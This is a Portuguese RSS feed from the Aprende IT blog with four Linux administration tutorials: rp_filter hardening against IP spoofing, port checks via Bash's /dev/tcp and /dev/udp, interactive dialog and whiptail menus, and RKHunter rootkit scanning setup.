<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Aprende IT</title>
	<atom:link href="https://aprendeit.com/pt/feed/" rel="self" type="application/rss+xml" />
	<link>https://aprendeit.com/pt/aprende-it/</link>
	<description>Todas as últimas notícias sobre IT</description>
	<lastBuildDate>Mon, 14 Jul 2025 20:59:46 +0000</lastBuildDate>
	<language>pt-PT</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://aprendeit.com/wp-content/uploads/2020/02/LOGO-CORTO-100x100.png</url>
	<title>Aprende IT</title>
	<link>https://aprendeit.com/pt/aprende-it/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Protegendo o Teu Sistema Linux: A Importância de `rp_filter` contra IP Spoofing e Ataques DDoS</title>
		<link>https://aprendeit.com/pt/protegendo-o-teu-sistema-linux-a-importancia-de-rp_filter-contra-ip-spoofing-e-ataques-ddos/</link>
					<comments>https://aprendeit.com/pt/protegendo-o-teu-sistema-linux-a-importancia-de-rp_filter-contra-ip-spoofing-e-ataques-ddos/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Mon, 14 Jul 2025 20:59:46 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[segurança]]></category>
		<category><![CDATA[Sistemas]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=6995</guid>

					<description><![CDATA[<p>No cenário atual das ciberameaças, garantir a segurança dos nossos sistemas é mais crucial do que nunca. Como especialistas em Linux e cibersegurança, sabemos que uma das técnicas de ataque ...</p>
<p>La entrada <a href="https://aprendeit.com/pt/protegendo-o-teu-sistema-linux-a-importancia-de-rp_filter-contra-ip-spoofing-e-ataques-ddos/">Protegendo o Teu Sistema Linux: A Importância de `rp_filter` contra IP Spoofing e Ataques DDoS</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>No cenário atual das ciberameaças, garantir a segurança dos nossos sistemas é mais crucial do que nunca. Como especialistas em Linux e cibersegurança, sabemos que uma das técnicas de ataque mais comuns e perigosas é o <strong>IP spoofing</strong>. Este método, em que um atacante falsifica o endereço IP de origem de um pacote de rede, é frequentemente utilizado em ataques de negação de serviço (DoS) e <strong>DDoS (Distributed Denial of Service)</strong> para ocultar a verdadeira identidade do atacante e contornar as defesas. É vital compreender que, embora o `rp_filter` ajude a mitigar estes ataques, um DDoS massivo ainda <strong>pode derrubar um site se conseguir saturar a largura de banda</strong> da ligação à internet do servidor, mesmo que os pacotes falsificados sejam descartados pelo sistema. Felizmente, os sistemas Linux oferecem-nos uma ferramenta fundamental para mitigar este risco: o parâmetro `rp_filter`.</p>
<p>O `rp_filter`, ou Reverse Path Filtering, é uma funcionalidade do kernel do Linux concebida para validar a rota de origem dos pacotes de rede recebidos. A sua função principal é garantir que um pacote recebido numa interface de rede poderia ter sido enviado através da mesma interface se a resposta tivesse de sair por ela. Isto é conhecido como &#8220;unicast reverse path forwarding&#8221;. Ao verificar a validade da rota de origem, o `rp_filter` torna-se uma defesa eficaz contra o IP spoofing.</p>
<p>Compreender os diferentes modos do `rp_filter` é essencial para o configurar adequadamente:</p>
<ul>
<li><strong>`0` (Desativado):</strong> Neste modo, não é feita qualquer verificação da rota de origem. <strong>É a configuração menos segura</strong> e deve ser evitada em ambientes de produção, pois deixa o sistema vulnerável a ataques de IP spoofing.</li>
<li><strong>`1` (Estrito):</strong> Este é o modo <strong>mais seguro e recomendado</strong>. Realiza uma verificação rigorosa da rota inversa. Se um pacote chegar a uma interface e a tabela de encaminhamento indicar que a resposta a esse pacote sairia por uma interface diferente, o pacote é descartado. Isto é excelente para prevenir o spoofing, mas pode causar problemas em configurações de rede complexas ou assimétricas, onde o tráfego de entrada e saída utiliza rotas diferentes intencionalmente.</li>
<li><strong>`2` (Relaxeado):</strong> Este é o valor predefinido em muitas distribuições. Neste modo, a verificação é menos rigorosa. Um pacote é aceite se a resposta a esse pacote sair por <em>qualquer</em> interface do sistema. É uma boa opção para redes com encaminhamento assimétrico, onde o modo estrito poderia causar falsos positivos, embora ofereça menos proteção do que o modo estrito.</li>
</ul>
<p>&#8212;</p>
<h3>Implementação e Considerações</h3>
<p>Para verificar o estado atual do `rp_filter`, podes usar o comando `sysctl -a | grep .rp_filter`. Para o configurar no modo estrito, que é a nossa recomendação geral para a maioria dos servidores:</p>
<pre><code>sysctl -w net.ipv4.conf.all.rp_filter=1</code></pre>
<p>É crucial lembrar que as alterações feitas com `sysctl -w` são temporárias. Para tornar a configuração permanente após reiniciar, deves adicionar a linha `net.ipv4.conf.all.rp_filter=1` (ou o valor desejado) ao ficheiro `/etc/sysctl.conf` e depois aplicar as alterações com `sysctl -p`.</p>
<p>Em resumo, a configuração correta do `rp_filter` é um passo fundamental em qualquer estratégia de cibersegurança para um sistema Linux. Embora não seja uma solução milagrosa contra todos os ataques DDoS — pois um volume massivo de tráfego pode saturar a rede independentemente de os pacotes serem válidos ou não —, <strong>ajuda a descartar tráfego malicioso com IPs falsificados ao nível do kernel</strong>, reduzindo a carga de processamento e tornando o sistema mais resiliente. Ao compreender e aplicar este controlo, podemos reforçar significativamente as nossas defesas contra ataques baseados em IP spoofing.</p>
<p>La entrada <a href="https://aprendeit.com/pt/protegendo-o-teu-sistema-linux-a-importancia-de-rp_filter-contra-ip-spoofing-e-ataques-ddos/">Protegendo o Teu Sistema Linux: A Importância de `rp_filter` contra IP Spoofing e Ataques DDoS</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/pt/protegendo-o-teu-sistema-linux-a-importancia-de-rp_filter-contra-ip-spoofing-e-ataques-ddos/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Como Verificar Portas no Linux Usando /dev/tcp e /dev/udp (Sem Telnet ou Netcat)</title>
		<link>https://aprendeit.com/pt/como-verificar-portas-no-linux-usando-dev-tcp-e-dev-udp-sem-telnet-ou-netcat/</link>
					<comments>https://aprendeit.com/pt/como-verificar-portas-no-linux-usando-dev-tcp-e-dev-udp-sem-telnet-ou-netcat/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Wed, 11 Jun 2025 22:42:48 +0000</pubDate>
				<category><![CDATA[Basico-Linux]]></category>
		<category><![CDATA[Linux]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=6920</guid>

					<description><![CDATA[<p>Verificar se uma porta está aberta num servidor remoto é uma tarefa comum para administradores de sistemas. Embora ferramentas como telnet ou netcat (nc) sejam frequentemente utilizadas para esse fim, ...</p>
<p>La entrada <a href="https://aprendeit.com/pt/como-verificar-portas-no-linux-usando-dev-tcp-e-dev-udp-sem-telnet-ou-netcat/">Como Verificar Portas no Linux Usando /dev/tcp e /dev/udp (Sem Telnet ou Netcat)</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Verificar se uma porta está aberta num servidor remoto é uma tarefa comum para administradores de sistemas. Embora ferramentas como telnet ou netcat (nc) sejam frequentemente utilizadas para esse fim, o Bash oferece uma alternativa incorporada que não requer instalação adicional: o uso de /dev/tcp/ e /dev/udp/.</p>
<p>Neste artigo, vais aprender a usar estas funcionalidades integradas do Bash para verificar portas TCP e UDP de forma rápida, simples e sem dependências externas.</p>
<h2>O que é /dev/tcp/host/porta e /dev/udp/host/porta?</h2>
<p>O Bash tem uma funcionalidade oculta que permite usar redirecções especiais para criar ligações de rede. Estes caminhos (/dev/tcp/ e /dev/udp/) não existem no sistema de ficheiros, mas o Bash interpreta-os internamente para abrir sockets.</p>
<pre>echo &gt; /dev/tcp/host/porta</pre>
<p>Isto tenta abrir uma ligação TCP ao host e porta especificados.<br />
Verificar uma Porta TCP a partir da Linha de Comandos</p>
<p>Para testar se uma porta está aberta, basta executar:</p>
<pre>echo &gt; /dev/tcp/google.com/80 &amp;&amp; echo "Porta aberta" || echo "Porta fechada"</pre>
<h3>O que isto faz?</h3>
<p>Se a ligação for aberta com sucesso, o Bash continua e mostra &#8220;Porta aberta&#8221;.<br />
Se falhar (por exemplo, a porta está fechada ou o host não responde), mostra &#8220;Porta fechada&#8221;.</p>
<h3>Com timeout</h3>
<p>Para evitar que o comando fique bloqueado caso o host não responda, podes usar timeout:</p>
<pre>timeout 3 bash -c "echo &gt; /dev/tcp/google.com/80" &amp;&amp; echo "Aberta" || echo "Fechada ou Timeout"</pre>
<p>🛈 Requer Bash com suporte para redireccionamento /dev/tcp. Não funciona em shells como sh ou dash.</p>
<h2>Verificar uma Porta UDP com /dev/udp</h2>
<p>O uso para UDP é semelhante:</p>
<pre>echo &gt; /dev/udp/8.8.8.8/53 &amp;&amp; echo "Enviado" || echo "Falhou"</pre>
<p>Mas há um detalhe importante: o UDP não garante entrega nem resposta, pelo que este método não confirma se a porta está realmente aberta.</p>
<h3>Como receber resposta?</h3>
<p>Podes usar um descritor de ficheiro para enviar e depois tentar ler:</p>
<pre>exec 3&lt;&gt; /dev/udp/8.8.8.8/53 echo -ne '\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00' &gt;&amp;3 read -t 2 -u 3 resposta &amp;&amp; echo "Resposta: $resposta" || echo "Sem resposta"</pre>
<p>Este exemplo envia uma consulta DNS vazia para a porta 53 e espera uma resposta.<br />
Limitações do Método</p>
<p>Funcionalidade TCP UDP<br />
Detectar se a porta está aberta Fiável Pouco fiável<br />
Requer ferramentas externas Não Não<br />
Recebe resposta do serviço Sim (se o serviço responder) Só se houver resposta válida</p>
<h3>E se eu quiser algo mais fiável para UDP?</h3>
<p>Se precisares de verificar se uma porta UDP está realmente aberta e a responder, é melhor usar ferramentas como:</p>
<pre>nc -uzv # netcat em modo UDP nmap -sU -p # scan UDP com Nmap</pre>
<p>Usar /dev/tcp/ e /dev/udp/ é uma excelente forma de verificar portas rapidamente sem depender de ferramentas externas. É especialmente útil em ambientes minimalistas ou scripts automatizados.</p>
<h2>Resumo rápido:</h2>
<p>✅ TCP: Funciona muito bem para verificar portas abertas.<br />
⚠️ UDP: Pode enviar datagramas, mas não garante saber se a porta está aberta.</p>
<p>🧰 Não precisas de instalar nada se tiveres Bash.</p>
<p>Já experimentaste nos teus scripts? Deixa-nos as tuas dúvidas ou partilha como o usas.</p>
<p>La entrada <a href="https://aprendeit.com/pt/como-verificar-portas-no-linux-usando-dev-tcp-e-dev-udp-sem-telnet-ou-netcat/">Como Verificar Portas no Linux Usando /dev/tcp e /dev/udp (Sem Telnet ou Netcat)</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/pt/como-verificar-portas-no-linux-usando-dev-tcp-e-dev-udp-sem-telnet-ou-netcat/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Criando Scripts Interativos no Linux: Usando Dialog ou Whiptail</title>
		<link>https://aprendeit.com/pt/criando-scripts-interativos-no-linux-usando-dialog-ou-whiptail/</link>
					<comments>https://aprendeit.com/pt/criando-scripts-interativos-no-linux-usando-dialog-ou-whiptail/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Fri, 23 Aug 2024 15:36:38 +0000</pubDate>
				<category><![CDATA[Basico-Linux]]></category>
		<category><![CDATA[Sistemas]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=6485</guid>

					<description><![CDATA[<p>No mundo da administração de sistemas, é comum encontrar a necessidade de automatizar tarefas através de scripts de shell. No entanto, às vezes precisamos tornar esses scripts interativos para facilitar ...</p>
<p>La entrada <a href="https://aprendeit.com/pt/criando-scripts-interativos-no-linux-usando-dialog-ou-whiptail/">Criando Scripts Interativos no Linux: Usando Dialog ou Whiptail</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>No mundo da administração de sistemas, é comum encontrar a necessidade de automatizar tarefas através de scripts de shell. No entanto, às vezes precisamos tornar esses scripts interativos para facilitar a experiência do utilizador, especialmente em ambientes onde não se dispõe de uma interface gráfica completa. É aqui que entram em jogo ferramentas como Dialog e Whiptail.</p>
<p>Tanto o Dialog como o Whiptail são ferramentas que permitem criar interfaces gráficas simples e funcionais dentro de um terminal de texto. Estas ferramentas são muito úteis para desenvolver menus, caixas de diálogo, listas de seleção, barras de progresso e muito mais. Ao longo deste artigo, iremos guiá-lo pelos conceitos básicos e exemplos práticos de ambas as ferramentas para que possa utilizá-las nos seus próprios scripts.</p>
<h2>O que é o Dialog?</h2>
<p>O Dialog é uma ferramenta de linha de comandos utilizada para gerar caixas de diálogo interativas em terminais baseados em texto. É amplamente utilizada em scripts de shell para criar menus interativos, caixas de confirmação, formulários, barras de progresso, entre outros. O Dialog permite aos utilizadores interagir com um script através de uma interface de utilizador baseada em texto, o que é especialmente útil em ambientes de servidores onde não se dispõe de uma interface gráfica completa.</p>
<h2>Instalação do Dialog</h2>
<p>Para instalar o Dialog numa distribuição baseada em Debian ou Ubuntu, simplesmente execute o seguinte comando:</p>
<pre>sudo apt-get update
sudo apt-get install dialog
</pre>
<p>Para distribuições baseadas em Red Hat como CentOS ou Fedora:</p>
<pre>sudo yum install dialog
</pre>
<h2>Exemplos básicos de Dialog</h2>
<h3>Caixa de mensagem simples</h3>
<p>Este exemplo mostra uma caixa de mensagem simples que tem apenas um botão &#8220;OK&#8221;:</p>
<pre>#!/bin/bash
dialog --title "Mensagem" --msgbox "Olá, esta é uma caixa de mensagem simples." 6 50
</pre>
<p>Explicação: Neste script, &#8211;title define o título da caixa de diálogo, &#8211;msgbox é o tipo de diálogo utilizado, e &#8220;6 50&#8221; são as dimensões da caixa (6 linhas de altura e 50 caracteres de largura).</p>
<h3>Menu interativo</h3>
<p>O exemplo seguinte cria um menu onde o utilizador pode selecionar uma opção:</p>
<pre>#!/bin/bash
opcao=$(dialog --title "Menu Principal" --menu "Selecione uma opção:" 15 50 4
1 "Opção 1"
2 "Opção 2"
3 "Opção 3"
4 "Sair" 3&gt;&amp;1 1&gt;&amp;2 2&gt;&amp;3)
clear

echo "Selecionou a opção: $opcao"
</pre>
<p>Explicação: O menu é mostrado com opções numeradas. 3&gt;&amp;1 1&gt;&amp;2 2&gt;&amp;3 é utilizado para redirecionar a seleção do utilizador de volta para a saída padrão.</p>
<h3>Lista de seleção</h3>
<p>Neste exemplo, o utilizador pode selecionar um ou mais itens de uma lista:</p>
<pre>#!/bin/bash
opcoes=$(dialog --title "Seleção de Pacotes" --checklist "Selecione os pacotes que deseja instalar:" 15 50 5
1 "Apache" off
2 "MySQL" off
3 "PHP" off
4 "Python" off
5 "Java" off 3&gt;&amp;1 1&gt;&amp;2 2&gt;&amp;3)
clear

echo "Pacotes selecionados: $opcoes"
</pre>
<p>Explicação: &#8211;checklist cria uma lista de itens com caixas de verificação, onde off indica que a caixa está desmarcada por defeito.</p>
<h3>Barra de progresso</h3>
<p>As barras de progresso são úteis para mostrar o avanço de uma tarefa. Aqui tens um exemplo:</p>
<pre>#!/bin/bash
{
for ((i = 0 ; i &lt;= 100 ; i+=10)); do
sleep 1
echo $i
done
} | dialog --title "Progresso" --gauge "A instalar..." 10 70 0
</pre>
<p>Explicação: &#8211;gauge é utilizado para criar uma barra de progresso. O ciclo for simula o avanço de uma tarefa, incrementando a barra em 10% a cada segundo.</p>
<h2>O que é o Whiptail?</h2>
<p>O Whiptail é uma alternativa leve ao Dialog que também permite criar interfaces interativas baseadas em texto em scripts de shell. Embora o Whiptail ofereça um conjunto semelhante de funcionalidades, é especialmente útil em sistemas onde o Dialog não está disponível ou onde se prefere uma ferramenta mais leve.</p>
<h2>Instalação do Whiptail</h2>
<p>Para instalar o Whiptail no Debian, Ubuntu e seus derivados:</p>
<pre>sudo apt-get update
sudo apt-get install whiptail
</pre>
<p>Em distribuições como CentOS, Red Hat e Fedora:</p>
<pre>sudo yum install newt
</pre>
<h2>Exemplos básicos de Whiptail</h2>
<h3>Caixa de mensagem simples</h3>
<p>Tal como com o Dialog, podes criar uma caixa de mensagem simples:</p>
<pre>#!/bin/bash
whiptail --title "Mensagem" --msgbox "Esta é uma mensagem simples usando Whiptail." 8 45
</pre>
<p>Explicação: Este exemplo é semelhante ao do Dialog, mas utilizando o Whiptail. As dimensões da caixa são ligeiramente diferentes.</p>
<h3>Menu interativo</h3>
<p>Criar menus interativos é simples com o Whiptail:</p>
<pre>#!/bin/bash
opcao=$(whiptail --title "Menu Principal" --menu "Escolha uma opção:" 15 50 4 \
"1" "Opção 1" \
"2" "Opção 2" \
"3" "Opção 3" \
"4" "Sair" 3&gt;&amp;1 1&gt;&amp;2 2&gt;&amp;3)
clear

echo "Selecionou a opção: $opcao"
</pre>
<p>Explicação: Este script funciona de maneira semelhante ao exemplo do Dialog, permitindo que o utilizador selecione uma opção de um menu.</p>
<h3>Lista de seleção</h3>
<p>O Whiptail também permite criar listas de seleção com caixas de verificação:</p>
<pre>#!/bin/bash
opcoes=$(whiptail --title "Seleção de Pacotes" --checklist "Selecione os pacotes que deseja instalar:" 15 50 5 \
"Apache" "" ON \
"MySQL" "" OFF \
"PHP" "" OFF \
"Python" "" OFF \
"Java" "" OFF 3&gt;&amp;1 1&gt;&amp;2 2&gt;&amp;3)
clear

echo "Pacotes selecionados: $opcoes"
</pre>
<p>Explicação: Neste exemplo, &#8220;ON&#8221; indica que a caixa de verificação está marcada por defeito, ao contrário do &#8220;off&#8221; do Dialog.</p>
<h3>Barra de progresso</h3>
<p>Finalmente, aqui tens um exemplo de uma barra de progresso com o Whiptail:</p>
<pre>#!/bin/bash
{
    for ((i = 0 ; i &lt;= 100 ; i+=10)); do
        sleep 1
        echo $i
    done
} | whiptail --gauge "A instalar..." 6 50 0
</pre>
<p>Explicação: Este exemplo é muito semelhante ao do Dialog, mas utilizando a sintaxe do Whiptail.<br />
Tanto o Dialog como o Whiptail são ferramentas poderosas e flexíveis que permitem aos administradores de sistemas e desenvolvedores criar interfaces de utilizador interativas dentro de um terminal. Embora ambas as ferramentas sejam semelhantes em termos de funcionalidade, a escolha entre uma ou outra pode depender das necessidades específicas do sistema e das preferências pessoais.</p>
<p>O Dialog é mais popular e amplamente documentado, enquanto o Whiptail é uma alternativa mais leve que pode ser preferida em sistemas onde a minimização do uso de recursos é crucial.</p>
<p>Neste artigo, cobrimos os conceitos básicos do Dialog e do Whiptail com exemplos práticos que lhe permitirão começar a criar os seus próprios scripts interativos. Quer precise de um menu simples, uma caixa de mensagem ou uma barra de progresso, estas ferramentas fornecer-lhe-ão as funcionalidades necessárias para melhorar a interação dos utilizadores com os seus scripts.</p>
<p>Lembre-se de que a chave para dominar estas ferramentas é a prática. Experimente os exemplos fornecidos, modifique-os para se adaptarem às suas necessidades e continue a explorar as múltiplas possibilidades que o Dialog e o Whiptail oferecem para tornar os seus scripts mais intuitivos e fáceis de usar.</p>
<h2>Vídeo</h2>
<p><iframe title="YouTube video player" src="https://www.youtube.com/embed/bYXiE2THyHw?si=vGFVDr6SMaeTa4O9" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<h2>Script do vídeo</h2>
<p>A seguir, coloco dois scripts de exemplo de dois menus interativos:<br />
<strong>Dialog</strong></p>
<pre>#!/bin/bash

# Exemplo de menu usando o Dialog
dialog --menu "Selecione uma opção:" 15 50 4 \
1 "Ver informações do sistema" \
2 "Mostrar uso do disco" \
3 "Configurar rede" \
4 "Sair" 2&gt;selecao.txt

# Ler a opção selecionada
opcao=$(cat selecao.txt)

case $opcao in
    1)
        echo "Mostrando informações do sistema..."
        # Os comandos correspondentes iriam aqui
        ;;
    2)
        echo "Mostrando uso do disco..."
        # Os comandos correspondentes iriam aqui
        ;;
    3)
        echo "Configurando a rede..."
        # Os comandos correspondentes iriam aqui
        ;;
    4)
        echo "Saindo..."
        exit 0
        ;;
    *)
        echo "Opção inválida."
        ;;
esac
</pre>
<p>O resultado seria:</p>
<p><img fetchpriority="high" decoding="async" class="alignnone size-full wp-image-6448" src="https://aprendeit.com/wp-content/uploads/2024/08/dialog.png" alt="dialog" width="558" height="366" srcset="https://aprendeit.com/wp-content/uploads/2024/08/dialog.png 558w, https://aprendeit.com/wp-content/uploads/2024/08/dialog-300x197.png 300w, https://aprendeit.com/wp-content/uploads/2024/08/dialog-100x66.png 100w" sizes="(max-width: 558px) 100vw, 558px" /><br />
<strong>Whiptail</strong></p>
<pre>#!/bin/bash

# Exemplo de menu usando o Whiptail
opcao=$(whiptail --title "Menu Principal" --menu "Selecione uma opção:" 15 50 4 \
"1" "Ver informações do sistema" \
"2" "Mostrar uso do disco" \
"3" "Configurar rede" \
"4" "Sair" 3&gt;&amp;1 1&gt;&amp;2 2&gt;&amp;3)

# Verificar a opção selecionada
case $opcao in
    1)
        echo "Mostrando informações do sistema..."
        # Os comandos correspondentes iriam aqui
        ;;
    2)
        echo "Mostrando uso do disco..."
        # Os comandos correspondentes iriam aqui
        ;;
    3)
        echo "Configurando a rede..."
        # Os comandos correspondentes iriam aqui
        ;;
    4)
        echo "Saindo..."
        exit 0
        ;;
    *)
        echo "Opção inválida."
        ;;
esac
</pre>
<p>Com o Whiptail, o resultado seria este:</p>
<p><img decoding="async" class="alignnone size-full wp-image-6449" src="https://aprendeit.com/wp-content/uploads/2024/08/whiptail.png" alt="whiptail" width="675" height="421" srcset="https://aprendeit.com/wp-content/uploads/2024/08/whiptail.png 675w, https://aprendeit.com/wp-content/uploads/2024/08/whiptail-300x187.png 300w, https://aprendeit.com/wp-content/uploads/2024/08/whiptail-100x62.png 100w, https://aprendeit.com/wp-content/uploads/2024/08/whiptail-480x300.png 480w, https://aprendeit.com/wp-content/uploads/2024/08/whiptail-640x400.png 640w" sizes="(max-width: 675px) 100vw, 675px" /><br />
Como se pode ver, os resultados são muito parecidos.</p>
<h2>Referências e documentação</h2>
<p>Para o Dialog e o Whiptail, podemos encontrar uma ampla documentação em <a href="https://invisible-island.net/dialog/dialog.html" target="_blank" rel="noopener">https://invisible-island.net/dialog/dialog.html</a></p>
<p>La entrada <a href="https://aprendeit.com/pt/criando-scripts-interativos-no-linux-usando-dialog-ou-whiptail/">Criando Scripts Interativos no Linux: Usando Dialog ou Whiptail</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/pt/criando-scripts-interativos-no-linux-usando-dialog-ou-whiptail/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Como Proteger o Seu Sistema Linux: Guia Definitivo para Instalar e Usar o RKHunter</title>
		<link>https://aprendeit.com/pt/como-proteger-o-seu-sistema-linux-guia-definitivo-para-instalar-e-usar-o-rkhunter/</link>
					<comments>https://aprendeit.com/pt/como-proteger-o-seu-sistema-linux-guia-definitivo-para-instalar-e-usar-o-rkhunter/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Mon, 10 Jun 2024 12:13:56 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[segurança]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=6299</guid>

					<description><![CDATA[<p>Neste artigo, vamos explorar como instalar e configurar o RKHunter (Rootkit Hunter) num sistema Linux. O RKHunter é uma ferramenta essencial para a segurança de qualquer servidor, pois permite detetar ...</p>
<p>La entrada <a href="https://aprendeit.com/pt/como-proteger-o-seu-sistema-linux-guia-definitivo-para-instalar-e-usar-o-rkhunter/">Como Proteger o Seu Sistema Linux: Guia Definitivo para Instalar e Usar o RKHunter</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Neste artigo, vamos explorar como instalar e configurar o RKHunter (Rootkit Hunter) num sistema Linux. O RKHunter é uma ferramenta essencial para a segurança de qualquer servidor, pois permite detetar rootkits, backdoors e exploits locais em sistemas UNIX. Vamos detalhar cada passo, desde a instalação até à configuração e programação de varreduras automáticas. Este tutorial é destinado a utilizadores com conhecimentos básicos de administração de sistemas Linux.</p>
<h2>Instalação do RKHunter</h2>
<h3>Passo 1: Atualizar os Repositórios</h3>
<p>Antes de instalar qualquer pacote novo, é sempre uma boa prática certificar-se de que os repositórios do sistema estão atualizados. Isso pode ser feito com o comando apt update.</p>
<pre>apt update</pre>
<h3>Passo 2: Instalar o RKHunter</h3>
<p>Uma vez que os repositórios estejam atualizados, podemos prosseguir para instalar o RKHunter juntamente com as ferramentas básicas do sistema (coreutils).</p>
<pre>apt install coreutils rkhunter -y</pre>
<h3>Passo 3: Descarregar os Repositórios da Base de Dados do RKHunter</h3>
<p>Para que o RKHunter funcione corretamente, precisamos descarregar os dados necessários. Isso pode ser feito com o comando curl.</p>
<pre>curl https://rkhunter.sourceforge.net/1.4/mirrors.dat &gt; /var/lib/rkhunter/db/mirrors.dat</pre>
<h3>Configuração do RKHunter</h3>
<h4>Problema Comum: Impossibilidade de Atualização</h4>
<p>Se tentarmos atualizar o RKHunter imediatamente após a instalação, é provável que encontremos um erro semelhante ao seguinte:</p>
<pre>root@host# rkhunter --update
[ Rootkit Hunter version 1.4.6 ]

Checking rkhunter data files...
  Checking file mirrors.dat                                  [ Skipped ]
  Checking file programs_bad.dat                             [ Update failed ]
  Checking file backdoorports.dat                            [ Update failed ]
  Checking file suspscan.dat                                 [ Update failed ]
  Checking file i18n versions                                [ Update failed ]

Please check the log file (/var/log/rkhunter.log)
</pre>
<h4>Solução: Editar o Ficheiro de Configuração</h4>
<p>Para resolver este problema, precisamos editar o ficheiro de configuração do RKHunter (/etc/rkhunter.conf). Usaremos vi ou qualquer outro editor de texto que preferirmos.</p>
<pre>vi /etc/rkhunter.conf</pre>
<p>Dentro do ficheiro, modificamos os seguintes parâmetros:</p>
<pre>PKGMGR=DPKG
WEB_CMD=wget
UPDATE_MIRRORS=1
MIRRORS_MODE=0
</pre>
<h2>Atualização do RKHunter</h2>
<p>Após realizar estas alterações, podemos tentar atualizar o RKHunter novamente.</p>
<pre>rkhunter --update</pre>
<p>Se tudo correr bem, deveremos ver uma mensagem indicando que os ficheiros foram atualizados com sucesso.</p>
<h2>Verificação da Versão</h2>
<p>Podemos verificar que estamos a utilizar a versão mais recente do RKHunter com o seguinte comando:</p>
<pre>rkhunter --versioncheck</pre>
<h2>Realização de uma Varredura do Sistema</h2>
<p>Uma vez que o RKHunter esteja configurado e atualizado, podemos proceder a realizar uma varredura completa do sistema.</p>
<pre>rkhunter --check</pre>
<p>Exemplo de Saída de uma Varredura<br />
Durante a varredura, o RKHunter verificará vários aspetos do sistema, incluindo comandos do sistema, bibliotecas partilhadas e ficheiros suspeitos. Aqui está um exemplo do que poderemos ver:</p>
<pre>[ Rootkit Hunter version 1.4.6 ]

Checking system commands...

  Performing 'strings' command checks
    Checking 'strings' command                               [ OK ]

  Performing 'shared libraries' checks
    Checking for preloading variables                        [ None found ]
    Checking for preloaded libraries                         [ None found ]
    Checking LD_LIBRARY_PATH variable                        [ Not found ]

  Performing file properties checks
    Checking for prerequisites                               [ OK ]
    /usr/sbin/adduser                                        [ OK ]
    /usr/sbin/chroot                                         [ OK ]
    /usr/sbin/cron                                           [ OK ]
    /usr/sbin/depmod                                         [ OK ]
    /usr/sbin/fsck                                           [ OK ]
    /usr/sbin/groupadd                                       [ OK ]
    /usr/sbin/groupdel                                       [ OK ]
    /usr/sbin/groupmod                                       [ OK ]
    /usr/sbin/grpck                                          [ OK ]
    /usr/sbin/ifconfig                                       [ OK ]
    /usr/sbin/init                                           [ OK ]
    /usr/sbin/insmod                                         [ OK ]
    /usr/sbin/ip                                             [ OK ]
    /usr/sbin/lsmod                                          [ OK ]
    /usr/sbin/modinfo                                        [ OK ]
    /usr/sbin/modprobe                                       [ OK ]
    /usr/sbin/nologin                                        [ OK ]
    /usr/sbin/pwck                                           [ OK ]
    /usr/sbin/rmmod                                          [ OK ]
    /usr/sbin/route                                          [ OK ]
    /usr/sbin/rsyslogd                                       [ OK ]
    /usr/sbin/runlevel                                       [ OK ]
    /usr/sbin/sshd                                           [ OK ]
    /usr/sbin/sulogin                                        [ OK ]
    /usr/sbin/sysctl                                         [ OK ]
    /usr/sbin/useradd                                        [ OK ]
    /usr/sbin/userdel                                        [ OK ]
    /usr/sbin/usermod                                        [ OK ]
    /usr/sbin/vipw                                           [ OK ]
    /usr/sbin/unhide                                         [ OK ]
    /usr/sbin/unhide-linux                                   [ OK ]
    /usr/sbin/unhide-posix                                   [ OK ]
    /usr/sbin/unhide-tcp                                     [ OK ]
    /usr/bin/awk                                             [ OK ]
    /usr/bin/basename                                        [ OK ]
    /usr/bin/bash                                            [ OK ]
    /usr/bin/cat                                             [ OK ]
    /usr/bin/chattr                                          [ OK ]
    /usr/bin/chmod                                           [ OK ]
    /usr/bin/chown                                           [ OK ]
    /usr/bin/cp                                              [ OK ]
    /usr/bin/curl                                            [ OK ]
    /usr/bin/cut                                             [ OK ]
    /usr/bin/date                                            [ OK ]
